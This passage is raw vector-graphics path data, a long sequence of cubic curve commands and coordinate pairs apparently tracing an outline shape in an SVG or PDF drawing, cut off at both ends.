68808.00C53221.67 68765.00 53275.33 68722.00 53329.00 68679.00C53329.00 68657.67 53329.00 68636.33 53329.00 68615.00C53307.67 68593.33 53286.33 68571.67 53265.00 68550.00C53222.00 68539.33 53179.00 68528.67 53136.00 68518.00C53136.00 68496.67 53136.00 68475.33 53136.00 68454.00C53189.67 68421.67 53243.33 68389.33 53297.00 68357.00C53297.00 68260.67 53297.00 68164.33 53297.00 68068.00C53318.33 68057.33 53339.67 68046.67 53361.00 68036.00C53393.33 68046.67 53425.67 68057.33 53458.00 68068.00C53468.71 68057.23 53479.54 68046.57 53490.17 68035.74C53511.48 68003.40 53532.88 67971.10 53554.14 67938.72C53564.76 67917.48 53575.38 67896.24 53586.00 67875.00C53618.33 67875.00 53650.67 67875.00 53683.00 67875.00C53742.53 67894.88 53802.09 67914.69 53861.71 67934.29C53866.54 67935.96 53871.51 67937.36 53876.24 67939.20C53929.50 67982.13 53982.75 68025.07 54036.00 68068.00C54046.67 68068.00 54057.33 68068.00 54068.00 68068.00C54079.04 68057.23 54090.22 68046.58 54101.17 68035.74C54122.45 68003.49 54143.72 67971.25 54165.00 67939.00C54165.00 67917.67 54165.00 67896.33 54165.00 67875.00C54186.33 67843.00 54207.67 67811.00 54229.00 67779.00C54272.00 67746.67 54315.00 67714.33 54358.00 67682.00C54315.00 67607.00 54272.00 67532.00 54229.00 67457.00C54229.00 67446.33 54229.00 67435.67 54229.00 67425.00C54261.33 67393.00 54293.67 67361.00 54326.00 67329.00C54379.67 67296.67 54433.33 67264.33 54487.00 67232.00C54519.00 67178.33 54551.00 67124.67 54583.00 67071.00C54593.67 67060.33 54604.33 67049.67 54615.00 67039.00C54625.67 67007.00 54636.33 66975.00 54647.00 66943.00C54636.33 66932.00 54625.67 66921.00 54615.00 66910.00C54615.00 66888.67 54615.00 66867.33 54615.00 66846.00C54647.33 66824.67 54679.67 66803.33 54712.00 66782.00C54722.67 66749.67 54733.33 66717.33 54744.00 66685.00C54765.33 66674.33 54786.67 66663.67 54808.00 66653.00C54818.67 66631.67 54829.33 66610.33 54840.00 66589.00C54829.33 66567.67 54818.67 66546.33 54808.00 66525.00C54818.67 66450.00 54829.33 66375.00 54840.00 66300.00C54979.44 66310.66 55118.87 66321.38 55258.31 66332.00C56308.54 66332.00 57358.77 66332.00 58409.00 66332.00C58430.33 66353.33 58451.67 66374.67 58473.00 66396.00C58484.00 66396.00 58495.00 66396.00 58506.00 66396.00C58516.67 66406.67 58527.33 66417.33 58538.00 66428.00C58548.67 66428.00 58559.33 66428.00 58570.00 66428.00C58591.37 66460.43 58612.82 66492.82 58634.14 66525.28C58644.76 66546.52 58655.38 66567.76 58666.00 66589.00C58709.00 66589.00 58752.00 66589.00 58795.00 66589.00C58859.33 66621.00 58923.67 66653.00 58988.00 66685.00C59021.27 66718.55 59054.42 66752.24 59087.77 66785.71C59108.28 66805.85 59128.69 66826.11 59149.26 66846.17C59181.17 66867.45 59213.09 66888.72 59245.00 66910.00C59245.00 66921.00 59245.00 66932.00 59245.00 66943.00C59266.33 66964.33 59287.67 66985.67 59309.00 67007.00C59298.33 67017.67 59287.67 67028.33 59277.00 67039.00C59287.67 67071.33 59298.33 67103.67 59309.00 67136.00C59320.00 67146.67 59331.00 67157.33 59342.00 67168.00C59331.00 67189.33 59320.00 67210.67 59309.00 67232.00C59298.33 67242.67 59287.67 67253.33 59277.00 67264.00C59277.00 67285.67 59277.00 67307.33 59277.00 67329.00C59287.67 67350.33 59298.33 67371.67 59309.00 67393.00C59330.67 67403.67 59352.33 67414.33 59374.00 67425.00C59395.33 67468.00 59416.67 67511.00 59438.00 67554.00C59427.33 67564.67 59416.67 67575.33 59406.00 67586.00C59416.67 67596.67 59427.33 67607.33 59438.00 67618.00C59502.33 67650.00 59566.67 67682.00 59631.00 67714.00C59641.67 67735.67 59652.33 67757.33 59663.00 67779.00C59673.67 67789.67 59684.33 67800.33 59695.00 67811.00C59705.67 67800.33 59716.33 67789.67 59727.00 67779.00C59738.00 67789.67 59749.00 67800.33 59760.00 67811.00C59770.67 67811.00 59781.33 67811.00 59792.00 67811.00C59802.67 67821.67 59813.33 67832.33 59824.00 67843.00C59834.67 67843.00 59845.33 67843.00 59856.00 67843.00C59866.67 67875.00 59877.33 67907.00 59888.00 67939.00C59877.33 67960.67 59866.67 67982.33 59856.00 68004.00C59866.67 68004.00 59877.33 68004.00 59888.00 68004.00C59888.00 68025.33 59888.00 68046.67 59888.00 68068.00C59898.67 68089.33 59909.33 68110.67 59920.00 68132.00C59909.33 68153.67 59898.67 68175.33 59888.00 68197.00C59909.67 68197.00 59931.33 68197.00 59953.00 68197.00C59963.67 68218.33 59974.33 68239.67 59985.00 68261.00C59995.67 68271.67 60006.33 68282.33 60017.00 68293.00C60017.00 68303.67 60017.00 68314.33 60017.00 68325.00C60027.67 68325.00 60038.33 68325.00 60049.00 68325.00C60081.00 68293.00 60113.00 68261.00 60145.00 68229.00C60166.67 68218.33 60188.33 68207.67 60210.00 68197.00C60220.67 68175.33 60231.33 68153.67 60242.00 68132.00C60252.67 68132.00 60263.33 68132.00 60274.00 68132.00C60284.67 68121.33 60295.33 68110.67 60306.00 68100.00C60327.67 68121.67 60349.33 68143.33 60371.00 68165.00C60381.67 68186.33 60392.33 68207.67 60403.00 68229.00C60424.44 68239.67 60445.82 68250.51 60467.30 68261.07C60510.20 68271.72 60553.10 68282.36 60596.00 68293.00C60617.33 68293.00 60638.67 68293.00 60660.00 68293.00C60702.67 68314.33 60745.33 68335.67 60788.00 68357.00C60799.00 68368.00 60810.00 68379.00 60821.00 68390.00C60821.00 68411.33 60821.00 68432.67 60821.00 68454.00C60810.00 68475.44 60798.82 68496.82 60787.93 68518.30C60777.28 68561.20 60766.64 68604.10 60756.00 68647.00C60766.67 68689.67 60777.33 68732.33 60788.00 68775.00C60788.00 68807.33 60788.00 68839.67 60788.00 68872.00C60799.00 68893.33 60810.00 68914.67 60821.00 68936.00C60831.67 68946.67 60842.33 68957.33 60853.00 68968.00C60874.33 68968.00 60895.67 68968.00 60917.00 68968.00C60927.67 68989.67 60938.33 69011.33 60949.00 69033.00C60938.33 69065.00 60927.67 69097.00 60917.00 69129.00C60938.33 69150.33 60959.67 69171.67 60981.00 69193.00C60970.19 69214.83 60959.58 69236.76 60948.65 69258.52C60927.44 69290.35 60906.22 69322.17 60885.00 69354.00C60885.00 69364.67 60885.00 69375.33 60885.00 69386.00C60895.86 69396.76 60906.54 69407.73 60917.51 69418.36C60992.34 69471.91 61067.17 69525.45 61142.00 69579.00C61152.67 69579.00 61163.33 69579.00 61174.00 69579.00C61185.00 69557.67 61196.00 69536.33 61207.00 69515.00C61174.67 69482.67 61142.33 69450.33 61110.00 69418.00C61110.00 69396.67 61110.00 69375.33 61110.00 69354.00C61120.67 69343.33 61131.33 69332.67 61142.00 69322.00C61163.67 69311.33 61185.33 69300.67 61207.00 69290.00C61217.67 69279.33 61228.33 69268.67 61239.00 69258.00C61281.67 69268.67 61324.33 69279.33 61367.00 69290.00C61388.67 69311.33 61410.33 69332.67 61432.00 69354.00C61496.00 69354.00 61560.00 69354.00 61624.00 69354.00C61635.06 69386.42 61646.01 69418.88 61657.14 69451.28C61667.76 69472.52 61678.38 69493.76 61689.00 69515.00C61689.00 69536.33 61689.00 69557.67 61689.00 69579.00C61656.67 69579.00 61624.33 69579.00 61592.00 69579.00C61581.33 69589.67 61570.67 69600.33 61560.00 69611.00C61592.33 69632.67 61624.67 69654.33 61657.00 69676.00C61678.33 69708.00 61699.67 69740.00 61721.00 69772.00C61710.33 69793.33 61699.67 69814.67 61689.00 69836.00C61699.67 69857.67 61710.33 69879.33 61721.00 69901.00C61742.33 69911.67 61763.67 69922.33 61785.00 69933.00C61795.67 69943.67 61806.33 69954.33 61817.00 69965.00C61806.33 69986.33 61795.67 70007.67 61785.00 70029.00C61785.00 70040.00 61785.00 70051.00 61785.00 70062.00C61828.00 70169.00 61871.00 70276.00 61914.00 70383.00C61957.00 70393.67 62000.00 70404.33 62043.00 70415.00C62085.67 70393.67 62128.33 70372.33 62171.00 70351.00C62235.33 70351.00 62299.67 70351.00 62364.00 70351.00C62385.33 70393.67 62406.67 70436.33 62428.00 70479.00C62449.67 70490.00 62471.33 70501.00 62493.00 70512.00C62514.33 70544.00 62535.67 70576.00 62557.00 70608.00C62557.00 70640.33 62557.00 70672.67 62557.00 70705.00C62567.67 70715.67 62578.33 70726.33 62589.00 70737.00C62599.67 70726.33 62610.33 70715.67 62621.00 70705.00C62685.33 70726.33 62749.67 70747.67 62814.00 70769.00C62835.67 70758.33 62857.33 70747.67 62879.00 70737.00C62911.00 70737.00 62943.00 70737.00 62975.00 70737.00C62975.00 70715.33 62975.00 70693.67 62975.00 70672.00C63007.00 70672.00 63039.00 70672.00 63071.00 70672.00C63103.33 70650.67 63135.67 70629.33 63168.00 70608.00C63168.00 70565.00 63168.00 70522.00 63168.00 70479.00C63178.67 70468.33 63189.33 70457.67 63200.00 70447.00C63189.33 70425.67 63178.67 70404.33 63168.00 70383.00C63178.67 70361.67 63189.33 70340.33 63200.00 70319.00C63221.33 70297.33 63242.67 70275.67 63264.00 70254.00C63264.00 70200.67 63264.00 70147.33 63264.00 70094.00C63274.67 70072.33 63285.33 70050.67 63296.00 70029.00C63307.00 70029.00 63318.00 70029.00 63329.00 70029.00C63361.00 70050.67 63393.00 70072.33 63425.00 70094.00C63457.00 70094.00 63489.00 70094.00 63521.00 70094.00C63542.67 70104.67 63564.33 70115.33 63586.00 70126.00C63607.33 70104.67 63628.67 70083.33 63650.00 70062.00C63650.00 70051.00 63650.00 70040.00 63650.00 70029.00C63671.33 70018.33 63692.67 70007.67 63714.00 69997.00C63714.00 69986.33 63714.00 69975.67 63714.00 69965.00C63725.00 69954.33 63736.00 69943.67 63747.00 69933.00C63736.00 69922.33 63725.00 69911.67 63714.00 69901.00C63725.00 69879.33 63736.00 69857.67 63747.00 69836.00C63768.33 69836.00 63789.67 69836.00 63811.00 69836.00C63832.33 69825.33 63853.67 69814.67 63875.00 69804.00C63885.67 69836.33 63896.33 69868.67 63907.00 69901.00C63918.00 69911.67 63929.00 69922.33 63940.00 69933.00C63982.67 69922.33 64025.33 69911.67 64068.00 69901.00C64100.33 69911.67 64132.67 69922.33 64165.00 69933.00C64175.78 69943.69 64186.40 69954.59 64197.28 69965.14C64218.52 69975.76 64239.76 69986.38 64261.00 69997.00C64271.67 70007.67 64282.33 70018.33 64293.00 70029.00C64282.33 70061.33 64271.67 70093.67 64261.00 70126.00C64271.69 70136.78 64282.59 70147.40 64293.14 70158.28C64325.43 70222.52 64357.71 70286.76 64390.00 70351.00C64422.00 70351.00 64454.00 70351.00 64486.00 70351.00C64496.67 70361.67 64507.33 70372.33 64518.00 70383.00C64528.67 70383.00 64539.33 70383.00 64550.00 70383.00C64593.00 70404.33 64636.00 70425.67 64679.00 70447.00C64711.33 70447.00 64743.67 70447.00 64776.00 70447.00C64776.00 70468.67 64776.00 70490.33 64776.00 70512.00C64786.67 70522.67 64797.33 70533.33 64808.00 70544.00C64818.67 70586.67 64829.33 70629.33 64840.00 70672.00C64872.00 70704.33 64904.00 70736.67 64936.00 70769.00C64946.67 70801.00 64957.33 70833.00 64968.00 70865.00C64989.67 70886.67 65011.33 70908.33 65033.00 70930.00C65000.58 70972.73 64968.25 71015.54 64935.78 71058.22C64925.19 71068.81 64914.59 71079.41 64904.00 71090.00C64861.33 71176.00 64818.67 71262.00 64776.00 71348.00C64765.00 71380.00 64754.00 71412.00 64743.00 71444.00C64743.00 71476.33 64743.00 71508.67 64743.00 71541.00C64721.67 71562.33 64700.33 71583.67 64679.00 71605.00C64679.00 71626.33 64679.00 71647.67 64679.00 71669.00C64668.33 71669.00 64657.67 71669.00 64647.00 71669.00C64636.33 71701.33 64625.67 71733.67 64615.00 71766.00C64615.00 71830.33 64615.00 71894.67 64615.00 71959.00C64636.42 71991.06 64657.72 72023.22 64679.22 72055.22C64689.81 72065.81 64700.41 72076.41 64711.00 72087.00C64721.67 72119.33 64732.33 72151.67 64743.00 72184.00C64754.00 72194.67 64765.00 72205.33 64776.00 72216.00C64775.96 72248.10 64776.08 72280.22 64775.94 72312.30C64764.96 72365.87 64753.98 72419.43 64743.00 72473.00C64754.00 72494.33 64765.00 72515.67 64776.00 72537.00C64765.00 72548.00 64754.00 72559.00 64743.00 72570.00C64732.33 72559.00 64721.67 72548.00 64711.00 72537.00C64679.00 72526.33 64647.00 72515.67 64615.00 72505.00C64582.67 72505.00 64550.33 72505.00 64518.00 72505.00C64496.67 72515.67 64475.33 72526.33 64454.00 72537.00C64443.33 72558.67 64432.67 72580.33 64422.00 72602.00C64368.33 72602.00 64314.67 72602.00 64261.00 72602.00C64261.00 72634.00 64261.00 72666.00 64261.00 72698.00C64271.67 72708.67 64282.33 72719.33 64293.00 72730.00C64314.33 72719.33 64335.67 72708.67 64357.00 72698.00C64356.93 72708.76 64357.13 72719.56 64356.90 72730.29C64346.27 72762.53 64335.63 72794.76 64325.00 72827.00C64335.67 72848.33 64346.33 72869.67 64357.00 72891.00C64346.31 72901.78 64335.41 72912.40 64324.86 72923.28C64314.24 72944.52 64303.62 72965.76 64293.00 72987.00C64293.00 73030.00 64293.00 73073.00 64293.00 73116.00C64314.33 73105.33 64335.67 73094.67 64357.00 73084.00C64357.00 73094.67 64357.00 73105.33 64357.00 73116.00C64378.67 73126.67 64400.33 73137.33 64422.00 73148.00C64454.00 73148.00 64486.00 73148.00 64518.00 73148.00C64539.67 73169.67 64561.33 73191.33 64583.00 73213.00C64604.33 73223.67 64625.67 73234.33 64647.00 73245.00C64625.67 73255.67 64604.33 73266.33 64583.00 73277.00C64604.33 73309.00 64625.67 73341.00 64647.00 73373.00C64636.33 73383.67 64625.67 73394.33 64615.00 73405.00C64615.00 73426.67 64615.00 73448.33 64615.00 73470.00C64604.33 73470.00 64593.67 73470.00 64583.00 73470.00C64550.67 73502.00 64518.33 73534.00 64486.00 73566.00C64496.67 73576.67 64507.33 73587.33 64518.00 73598.00C64518.00 73609.00 64518.00 73620.00 64518.00 73631.00C64535.26 73648.27 64552.45 73665.61 64570.10 73682.49C64574.51 73686.68 64578.77 73691.08 64583.28 73695.14C64647.52 73727.09 64711.76 73759.05 64776.00 73791.00C64733.00 73801.67 64690.00 73812.33 64647.00 73823.00C64647.00 73834.00 64647.00 73845.00 64647.00 73856.00C64679.00 73888.00 64711.00 73920.00 64743.00 73952.00C64764.67 73941.33 64786.33 73930.67 64808.00 73920.00C64808.00 73941.33 64808.00 73962.67 64808.00 73984.00C64818.67 73984.00 64829.33 73984.00 64840.00 73984.00C64840.00 74027.00 64840.00 74070.00 64840.00 74113.00C64850.67 74113.00 64861.33 74113.00 64872.00 74113.00C64872.00 74123.67 64872.00 74134.33 64872.00 74145.00C64882.67 74145.00 64893.33 74145.00 64904.00 74145.00C64903.92 74155.87 64904.16 74166.76 64903.88 74177.61C64893.25 74231.07 64882.63 74284.54 64872.00 74338.00C64882.67 74359.33 64893.33 74380.67 64904.00 74402.00C64914.67 74402.00 64925.33 74402.00 64936.00 74402.00C64946.67 74391.33 64957.33 74380.67 64968.00 74370.00C64968.00 74380.67 64968.00 74391.33 64968.00 74402.00C64979.00 74402.00 64990.00 74402.00 65001.00 74402.00C64990.00 74412.67 64979.00 74423.33 64968.00 74434.00C64946.67 74477.00 64925.33 74520.00 64904.00 74563.00C64882.67 74563.00 64861.33 74563.00 64840.00 74563.00C64850.67 74595.00 64861.33 74627.00 64872.00 74659.00C64872.00 74680.67 64872.00 74702.33 64872.00 74724.00C64840.00 74734.67 64808.00 74745.33 64776.00 74756.00C64765.00 74777.33 64754.00 74798.67 64743.00 74820.00C64721.67 74820.00 64700.33 74820.00 64679.00 74820.00C64668.33 74809.33 64657.67 74798.67 64647.00 74788.00C64604.00 74809.33 64561.00 74830.67 64518.00 74852.00C64528.67 74863.00 64539.33 74874.00 64550.00 74885.00C64571.67 74885.00 64593.33 74885.00 64615.00 74885.00C64657.67 74906.33 64700.33 74927.67 64743.00 74949.00C64743.00 74981.00 64743.00 75013.00 64743.00 75045.00C64711.00 75088.00 64679.00 75131.00 64647.00 75174.00C64683.99 75192.53 64721.00 75211.04 64758.16 75229.22C64764.11 75232.15 64770.05 75235.07 64776.00 75238.00C64776.00 75248.67 64776.00 75259.33 64776.00 75270.00C64765.00 75291.67 64754.00 75313.33 64743.00 75335.00C64764.67 75345.67 64786.33 75356.33 64808.00 75367.00C64808.00 75399.00 64808.00 75431.00 64808.00 75463.00C64818.67 75495.33 64829.33 75527.67 64840.00 75560.00C64840.00 75602.67 64840.00 75645.33 64840.00 75688.00C64818.67 75709.67 64797.33 75731.33 64776.00 75753.00C64776.00 75795.67 64776.00 75838.33 64776.00 75881.00C64765.00 75891.67 64754.00 75902.33 64743.00 75913.00C64754.00 75924.00 64765.00 75935.00 64776.00 75946.00C64776.00 75956.67 64776.00 75967.33 64776.00 75978.00C64765.00 75978.00 64754.00 75978.00 64743.00 75978.00C64732.33 75999.33 64721.67 76020.67 64711.00 76042.00C64721.67 76052.67 64732.33 76063.33 64743.00 76074.00C64743.00 76106.33 64743.00 76138.67 64743.00 76171.00C64721.67 76181.67 64700.33 76192.33 64679.00 76203.00C64678.92 76213.76 64679.15 76224.57 64678.89 76235.29C64657.59 76288.86 64636.29 76342.43 64615.00 76396.00C64582.67 76417.33 64550.33 76438.67 64518.00 76460.00C64518.00 76470.67 64518.00 76481.33 64518.00 76492.00C64507.33 76502.67 64496.67 76513.33 64486.00 76524.00C64496.67 76556.33 64507.33 76588.67 64518.00 76621.00C64507.33 76621.00 64496.67 76621.00 64486.00 76621.00C64486.00 76642.33 64486.00 76663.67 64486.00 76685.00C64475.33 76706.33 64464.67 76727.67 64454.00 76749.00C64453.96 76770.77 64454.08 76792.55 64453.94 76814.30C64443.29 76867.54 64432.65 76920.77 64422.00 76974.00C64422.00 76985.00 64422.00 76996.00 64422.00 77007.00C64454.00 77007.00 64486.00 77007.00 64518.00 77007.00C64518.00 77017.67 64518.00 77028.33 64518.00 77039.00C64550.33 77049.67 64582.67 77060.33 64615.00 77071.00C64615.00 77103.00 64615.00 77135.00 64615.00 77167.00C64625.67 77178.00 64636.33 77189.00 64647.00 77200.00C64604.00 77210.67 64561.00 77221.33 64518.00 77232.00C64518.00 77296.33 64518.00 77360.67 64518.00 77425.00C64528.74 77446.41 64539.38 77467.88 64550.17 77489.26C64573.02 77523.09 64596.04 77556.80 64618.77 77590.71C64638.85 77621.14 64658.92 77651.57 64679.00 77682.00C64657.67 77692.67 64636.33 77703.33 64615.00 77714.00C64625.67 77735.33 64636.33 77756.67 64647.00 77778.00C64657.67 77778.00 64668.33 77778.00 64679.00 77778.00C64689.67 77799.67 64700.33 77821.33 64711.00 77843.00C64743.33 77843.00 64775.67 77843.00 64808.00 77843.00C64818.67 77875.00 64829.33 77907.00 64840.00 77939.00C64850.67 77939.00 64861.33 77939.00 64872.00 77939.00C64872.00 77982.00 64872.00 78025.00 64872.00 78068.00C64882.67 78089.33 64893.33 78110.67 64904.00 78132.00C64914.67 78132.00 64925.33 78132.00 64936.00 78132.00C64946.67 78142.67 64957.33 78153.33 64968.00 78164.00C64989.67 78174.67 65011.33 78185.33 65033.00 78196.00C65022.33 78206.67 65011.67 78217.33 65001.00 78228.00C65001.00 78239.00 65001.00 78250.00 65001.00 78261.00C65022.33 78261.00 65043.67 78261.00 65065.00 78261.00C65054.33 78314.33 65043.67 78367.67 65033.00 78421.00C65022.33 78432.00 65011.67 78443.00 65001.00 78454.00C65011.67 78464.67 65022.33 78475.33 65033.00 78486.00C65011.33 78528.67 64989.67 78571.33 64968.00 78614.00C64968.00 78678.33 64968.00 78742.67 64968.00 78807.00C64989.67 78828.33 65011.33 78849.67 65033.00 78871.00C65033.00 78892.67 65033.00 78914.33 65033.00 78936.00C65011.33 78957.33 64989.67 78978.67 64968.00 79000.00C64979.00 79032.33 64990.00 79064.67 65001.00 79097.00C64990.00 79107.67 64979.00 79118.33 64968.00 79129.00C64979.00 79150.33 64990.00 79171.67 65001.00 79193.00C64979.33 79225.33 64957.67 79257.67 64936.00 79290.00C64946.67 79300.67 64957.33 79311.33 64968.00 79322.00C64968.00 79386.33 64968.00 79450.67 64968.00 79515.00C64957.33 79515.00 64946.67 79515.00 64936.00 79515.00C64925.33 79525.67 64914.67 79536.33 64904.00 79547.00C64904.00 79579.00 64904.00 79611.00 64904.00 79643.00C64925.33 79664.33 64946.67 79685.67 64968.00 79707.00C64979.00 79707.00 64990.00 79707.00 65001.00 79707.00C65001.00 79718.00 65001.00 79729.00 65001.00 79740.00C64979.33 79750.67 64957.67 79761.33 64936.00 79772.00C64936.00 79782.67 64936.00 79793.33 64936.00 79804.00C64946.67 79825.33 64957.33 79846.67 64968.00 79868.00C64968.00 79889.67 64968.00 79911.33 64968.00 79933.00C64979.00 79943.67 64990.00 79954.33 65001.00 79965.00C64990.00 79997.00 64979.00 80029.00 64968.00 80061.00C64979.00 80082.67 64990.00 80104.33 65001.00 80126.00C64979.33 80126.00 64957.67 80126.00 64936.00 80126.00C64936.00 80115.00 64936.00 80104.00 64936.00 80093.00C64925.33 80082.33 64914.67 80071.67 64904.00 80061.00C64904.00 80050.33 64904.00 80039.67 64904.00 80029.00C64882.67 80050.33 64861.33 80071.67 64840.00 80093.00C64850.67 80114.67 64861.33 80136.33 64872.00 80158.00C64861.33 80179.33 64850.67 80200.67 64840.00 80222.00C64840.00 80254.00 64840.00 80286.00 64840.00 80318.00C64818.67 80329.00 64797.33 80340.00 64776.00 80351.00C64776.00 80415.00 64776.00 80479.00 64776.00 80543.00C64765.00 80543.00 64754.00 80543.00 64743.00 80543.00C64754.00 80554.00 64765.00 80565.00 64776.00 80576.00C64776.00 80597.33 64776.00 80618.67 64776.00 80640.00C64786.67 80640.00 64797.33 80640.00 64808.00 80640.00C64808.00 80661.33 64808.00 80682.67 64808.00 80704.00C64797.33 80736.33 64786.67 80768.67 64776.00 80801.00C64776.00 80822.33 64776.00 80843.67 64776.00 80865.00C64765.00 80875.67 64754.00 80886.33 64743.00 80897.00C64743.00 80929.33 64743.00 80961.67 64743.00 80994.00C64711.00 80994.00 64679.00 80994.00 64647.00 80994.00C64647.00 81004.67 64647.00 81015.33 64647.00 81026.00C64840.10 81036.66 65033.21 81047.37 65226.31 81058.00C66769.54 81058.00 68312.77 81058.00 69856.00 81058.00C69856.00 81090.00 69856.00 81122.00 69856.00 81154.00C69866.67 81165.00 69877.33 81176.00 69888.00 81187.00C69898.67 81187.00 69909.33 81187.00 69920.00 81187.00C69909.33 81229.67 69898.67 81272.33 69888.00 81315.00C69898.67 81315.00 69909.33 81315.00 69920.00 81315.00C69930.67 81304.33 69941.33 81293.67 69952.00 81283.00C69973.33 81293.67 69994.67 81304.33 70016.00 81315.00C70027.00 81325.67 70038.00 81336.33 70049.00 81347.00C70038.00 81379.33 70027.00 81411.67 70016.00 81444.00C70037.67 81444.00 70059.33 81444.00 70081.00 81444.00C70081.00 81454.67 70081.00 81465.33 70081.00 81476.00C70091.67 81486.67 70102.33 81497.33 70113.00 81508.00C70113.00 81518.67 70113.00 81529.33 70113.00 81540.00C70123.67 81550.67 70134.33 81561.33 70145.00 81572.00C70177.33 81572.00 70209.67 81572.00 70242.00 81572.00C70274.00 81593.67 70306.00 81615.33 70338.00 81637.00C70348.67 81626.33 70359.33 81615.67 70370.00 81605.00C70359.33 81605.00 70348.67 81605.00 70338.00 81605.00C70348.67 81572.67 70359.33 81540.33 70370.00 81508.00C70359.33 81497.33 70348.67 81486.67 70338.00 81476.00C70359.33 81486.67 70380.67 81497.33 70402.00 81508.00C70434.33 81476.00 70466.67 81444.00 70499.00 81412.00C70509.67 81412.00 70520.33 81412.00 70531.00 81412.00C70541.67 81401.00 70552.33 81390.00 70563.00 81379.00C70573.67 81390.00 70584.33 81401.00 70595.00 81412.00C70616.67 81412.00 70638.33 81412.00 70660.00 81412.00C70660.00 81454.67 70660.00 81497.33 70660.00 81540.00C70670.67 81550.67 70681.33 81561.33 70692.00 81572.00C70745.33 81572.00 70798.67 81572.00 70852.00 81572.00C70889.37 81591.00 70926.75 81609.99 70964.30 81628.65C70969.98 81631.38 70975.57 81634.50 70981.31 81637.00C70991.87 81637.00 71002.44 81637.00 71013.00 81637.00C71034.67 81647.67 71056.33 81658.33 71078.00 81669.00C71088.67 81647.67 71099.33 81626.33 71110.00 81605.00C71120.76 81604.93 71131.56 81605.13 71142.29 81604.90C71174.20 81593.93 71206.10 81582.97 71238.00 81572.00C71259.67 81593.67 71281.33 81615.33 71303.00 81637.00C71324.33 81626.33 71345.67 81615.67 71367.00 81605.00C71388.33 81615.67 71409.67 81626.33 71431.00 81637.00C71441.67 81626.33 71452.33 81615.67 71463.00 81605.00C71474.00 81615.67 71485.00 81626.33 71496.00 81637.00C71517.33 81637.00 71538.67 81637.00 71560.00 81637.00C71560.00 81626.33 71560.00 81615.67 71560.00 81605.00C71570.67 81594.00 71581.33 81583.00 71592.00 81572.00C71602.67 81583.00 71613.33 81594.00 71624.00 81605.00C71634.67 81647.67 71645.33 81690.33 71656.00 81733.00C71699.00 81722.33 71742.00 81711.67 71785.00 81701.00C71795.67 81690.33 71806.33 81679.67 71817.00 81669.00C71827.67 81690.33 71838.33 81711.67 71849.00 81733.00C71859.67 81733.00 71870.33 81733.00 71881.00 81733.00C71892.00 81711.67 71903.00 81690.33 71914.00 81669.00C71914.00 81679.67 71914.00 81690.33 71914.00 81701.00C71956.67 81701.00 71999.33 81701.00 72042.00 81701.00C72042.00 81690.33 72042.00 81679.67 72042.00 81669.00C72063.67 81679.67 72085.33 81690.33 72107.00 81701.00C72096.00 81733.33 72085.00 81765.67 72074.00 81798.00C72063.33 81787.00 72052.67 81776.00 72042.00 81765.00C72052.67 81786.67 72063.33 81808.33 72074.00 81830.00C72052.67 81830.00 72031.33 81830.00 72010.00 81830.00C72010.00 81840.67 72010.00 81851.33 72010.00 81862.00C72020.67 81872.67 72031.33 81883.33 72042.00 81894.00C72042.00 81904.67 72042.00 81915.33 72042.00 81926.00C72052.67 81947.33 72063.33 81968.67 72074.00 81990.00C72095.67 81990.00 72117.33 81990.00 72139.00 81990.00C72139.00 82001.00 72139.00 82012.00 72139.00 82023.00C72149.67 82023.00 72160.33 82023.00 72171.00 82023.00C72149.67 82044.33 72128.33 82065.67 72107.00 82087.00C72096.00 82087.00 72085.00 82087.00 72074.00 82087.00C72074.00 82140.67 72074.00 82194.33 72074.00 82248.00C72095.67 82280.00 72117.33 82312.00 72139.00 82344.00C72139.00 82365.33 72139.00 82386.67 72139.00 82408.00C72149.67 82429.67 72160.33 82451.33 72171.00 82473.00C72171.00 82494.33 72171.00 82515.67 72171.00 82537.00C72192.33 82558.33 72213.67 82579.67 72235.00 82601.00C72267.33 82611.67 72299.67 82622.33 72332.00 82633.00C72342.67 82665.33 72353.33 82697.67 72364.00 82730.00C72364.00 82751.33 72364.00 82772.67 72364.00 82794.00C72353.33 82804.67 72342.67 82815.33 72332.00 82826.00C72342.67 82826.00 72353.33 82826.00 72364.00 82826.00C72353.33 82837.00 72342.67 82848.00 72332.00 82859.00C72342.67 82891.00 72353.33 82923.00 72364.00 82955.00C72364.00 82987.00 72364.00 83019.00 72364.00 83051.00C72353.33 83072.67 72342.67 83094.33 72332.00 83116.00C72332.00 83126.67 72332.00 83137.33 72332.00 83148.00C72321.00 83158.67 72310.00 83169.33 72299.00 83180.00C72288.33 83180.00 72277.67 83180.00 72267.00 83180.00C72245.67 83201.33 72224.33 83222.67 72203.00 83244.00C72171.00 83244.00 72139.00 83244.00 72107.00 83244.00C72085.33 83297.67 72063.67 83351.33 72042.00 83405.00C72020.67 83415.67 71999.33 83426.33 71978.00 83437.00C71960.73 83454.26 71943.39 83471.45 71926.51 83489.10C71916.55 83499.63 71906.12 83509.69 71895.69 83519.76C71890.79 83524.50 71885.90 83529.25 71881.00 83534.00C71870.33 83523.33 71859.67 83512.67 71849.00 83502.00C71849.00 83523.33 71849.00 83544.67 71849.00 83566.00C71827.63 83587.43 71806.12 83608.76 71784.83 83630.26C71763.55 83662.51 71742.28 83694.75 71721.00 83727.00C71721.00 83737.67 71721.00 83748.33 71721.00 83759.00C71688.67 83769.67 71656.33 83780.33 71624.00 83791.00C71624.00 83801.67 71624.00 83812.33 71624.00 83823.00C71613.33 83823.00 71602.67 83823.00 71592.00 83823.00C71581.33 83833.67 71570.67 83844.33 71560.00 83855.00C71560.00 83844.33 71560.00 83833.67 71560.00 83823.00C71549.33 83833.67 71538.67 83844.33 71528.00 83855.00C71538.67 83865.67 71549.33 83876.33 71560.00 83887.00C71549.33 83887.00 71538.67 83887.00 71528.00 83887.00C71538.67 83898.00 71549.33 83909.00 71560.00 83920.00C71538.67 83920.00 71517.33 83920.00 71496.00 83920.00C71506.67 83930.67 71517.33 83941.33 71528.00 83952.00C71506.33 83952.00 71484.67 83952.00 71463.00 83952.00C71452.33 83962.67 71441.67 83973.33 71431.00 83984.00C71441.67 83994.67 71452.33 84005.33 71463.00 84016.00C71452.33 84026.67 71441.67 84037.33 71431.00 84048.00C71441.67 84069.67 71452.33 84091.33 71463.00 84113.00C71452.33 84123.67 71441.67 84134.33 71431.00 84145.00C71441.67 84145.00 71452.33 84145.00 71463.00 84145.00C71452.33 84166.33 71441.67 84187.67 71431.00 84209.00C71441.67 84219.67 71452.33 84230.33 71463.00 84241.00C71452.33 84241.00 71441.67 84241.00 71431.00 84241.00C71431.00 84305.33 71431.00 84369.67 71431.00 84434.00C71420.33 84434.00 71409.67 84434.00 71399.00 84434.00C71409.67 84444.67 71420.33 84455.33 71431.00 84466.00C71431.00 84498.33 71431.00 84530.67 71431.00 